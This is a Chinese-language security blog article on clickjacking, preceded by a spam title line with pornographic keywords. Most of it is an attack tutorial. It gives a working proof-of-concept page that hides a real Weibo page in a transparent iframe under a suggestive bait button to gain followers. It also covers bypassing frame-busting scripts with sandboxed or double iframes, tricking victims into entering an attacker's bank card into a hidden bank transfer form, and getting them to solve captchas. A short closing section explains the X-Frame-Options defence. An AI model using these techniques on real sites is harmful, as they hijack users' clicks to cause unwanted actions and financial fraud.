压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

淺析點(diǎn)擊劫持(click jacking)

點(diǎn)擊劫持(Clickjacking)是由互聯(lián)網(wǎng)安全專家羅伯特·漢森和耶利米·格勞斯曼在2008年首創(chuàng)的。一句話描述這種劫持:利用社工搭配目標(biāo)站的不安全配置對(duì)用戶造成危害。簡(jiǎn)單來(lái)說(shuō):當(dāng)你打開(kāi)一個(gè)網(wǎng)頁(yè)出現(xiàn)一個(gè)flash廣告框,點(diǎn)擊“關(guān)閉”按鈕,可結(jié)果廣告并沒(méi)有關(guān)閉,卻變成了全屏,這樣的情況在計(jì)算機(jī)安全領(lǐng)域叫做點(diǎn)擊劫持。

Clickjacking

01 什么是點(diǎn)擊劫持

看到上圖是不是都會(huì)去選擇點(diǎn)擊脫衣呢?以前我也會(huì)這樣做,點(diǎn)開(kāi)說(shuō)不定有驚喜!實(shí)則不然,這張圖大到有可能iframe了一個(gè)銀行轉(zhuǎn)賬頁(yè)面,小則可能是莫名其妙發(fā)出了不該發(fā)的消息,粉了不認(rèn)識(shí)的人,或是一個(gè)廣告。

這就是點(diǎn)擊劫持,但本文不是單純介紹點(diǎn)擊劫持是什么。

02 點(diǎn)擊劫持實(shí)戰(zhàn)

需要懂一些html和css的前端技巧,參考w3school即可。

首先創(chuàng)建一個(gè)poc頁(yè)面,理論上所有點(diǎn)擊劫持的Poc都大同小異。

實(shí)例:新浪微博刷粉

<!DOCTYPE html>

<html>

<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″>

<head>

<title>clickjacking</title>

<style> iframe { width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); }

button { position: absolute; top: 250px; left: 770px; z-index: 1; width: 80px; height:20px; }

</style>

</head>

<body>

<button>點(diǎn)擊脫衣</button>

<img src=”http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg”>

<iframe src=”http://weibo.com/skdlabs” scrolling=”no”></iframe>

</body>

</html>

普通的點(diǎn)擊劫持真正只有兩個(gè)部分最主要,按鈕(button)&頁(yè)面(iframe)。

思路即為,找到有用的地方,查到坐標(biāo),放置按鈕,放置誘惑信息,OK!

1、有用的地方即為想讓用戶點(diǎn)擊的地方,比如轉(zhuǎn)賬按鈕,刪除某博文的按鈕,贊按鈕等。

2、坐標(biāo)即為有用的按鈕在頁(yè)面中的位置,這個(gè)找起來(lái)可能比較麻煩,懂html以及css的則 可以直接從目標(biāo)站源碼中找到坐標(biāo),不懂的這有兩種好方法。win家族系統(tǒng)可以下載屏幕格尺工具量坐標(biāo)。本人OSX,可以像我一樣用便簽mark一下目標(biāo), 然后把iframe隱藏調(diào)節(jié)button到和便簽一致的位置,也很簡(jiǎn)單。

3、找到坐標(biāo)寫(xiě)到html里放置按鈕。

4、誘惑信息自行想。

這樣就構(gòu)成了,是不是很簡(jiǎn)單?

當(dāng)然 有些時(shí)候會(huì)有兩個(gè)按鈕或多個(gè)按鈕,就需要自行搭配頁(yè)面內(nèi)容誘惑人們一個(gè)一個(gè)去點(diǎn)擊。

03 進(jìn)階

點(diǎn)擊劫持常見(jiàn)防御方法的繞過(guò):

JS防御

如if (top.location != self.location) {top.location=self.location;}

<iframe src=”xxx” security=”restricted” scrolling=”no” sandbox=””>

security=”restricted”? 為IE的禁止JS

sandbox=””? 為HTML5的禁止JS

這樣就達(dá)到了bypass的效果,但有時(shí)候我們想劫持的按鈕也是js的 那樣就比較蛋疼了,但可以參考下面的方法。

其他方法跳轉(zhuǎn)進(jìn)行防御

只要是強(qiáng)制跳轉(zhuǎn)到目標(biāo)站的防御方法,都可以用此方法繞過(guò)。

制作雙重iframe,即最底層為目標(biāo)站,二層為透明,這樣還是能達(dá)到我們想要的效果。

讓點(diǎn)擊劫持更猥瑣的搭配:

搭配輸入框

以前曾發(fā)現(xiàn)加拿大某銀行可以進(jìn)行點(diǎn)擊劫持,但需要用戶輸入轉(zhuǎn)賬的銀行卡號(hào)和銀行,那么我們就可以放幾個(gè)框,并誘惑用戶在框里輸入我的銀行卡號(hào)和銀行,這樣用戶看起來(lái)輸入到我們的框里,實(shí)際上輸入到了銀行轉(zhuǎn)賬的頁(yè)面當(dāng)中。

當(dāng)然,在各種情況下也可以搭配各種其他的東西,這就要發(fā)揮你的想象了,點(diǎn)擊劫持讓釣魚(yú)又上升了一個(gè)高度。

有驗(yàn)證碼怎么辦?

部分網(wǎng)站在點(diǎn)擊轉(zhuǎn)賬或其他敏感按鈕的時(shí)候,會(huì)有驗(yàn)證碼來(lái)驗(yàn)證,這對(duì)點(diǎn)擊劫持也是一個(gè)考驗(yàn),那么我們就可以用我們的東西把頁(yè)面覆蓋起來(lái),但留下驗(yàn)證碼圖片和輸入框一部分不覆蓋,通過(guò)社工讓用戶自己識(shí)別驗(yàn)證碼并輸入。

04 對(duì)于防御

X-FRAME-OPTIONS是目前最可靠的方法。

X-FRAME-OPTIONS是微軟提出的一個(gè)http頭,專門(mén)用來(lái)防御利用iframe嵌套的點(diǎn)擊劫持攻擊。

并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。

這個(gè)頭有三個(gè)值:

DENY // 拒絕任何域加載

SAMEORIGIN // 允許同源域下加載

ALLOW-FROM // 可以定義允許frame加載的頁(yè)面地址

php中設(shè)置:

header(“X-FRAME-OPTIONS:DENY”);

以上言論參考點(diǎn)擊劫持提出者的個(gè)人博文和互聯(lián)網(wǎng)上資料,如有錯(cuò)誤,敬請(qǐng)包涵。

上一篇:利用Python和Scapy發(fā)現(xiàn)隱藏?zé)o線熱點(diǎn)

下一篇:彌補(bǔ)現(xiàn)場(chǎng)管理漏洞 杜絕零距離運(yùn)維風(fēng)險(xiǎn)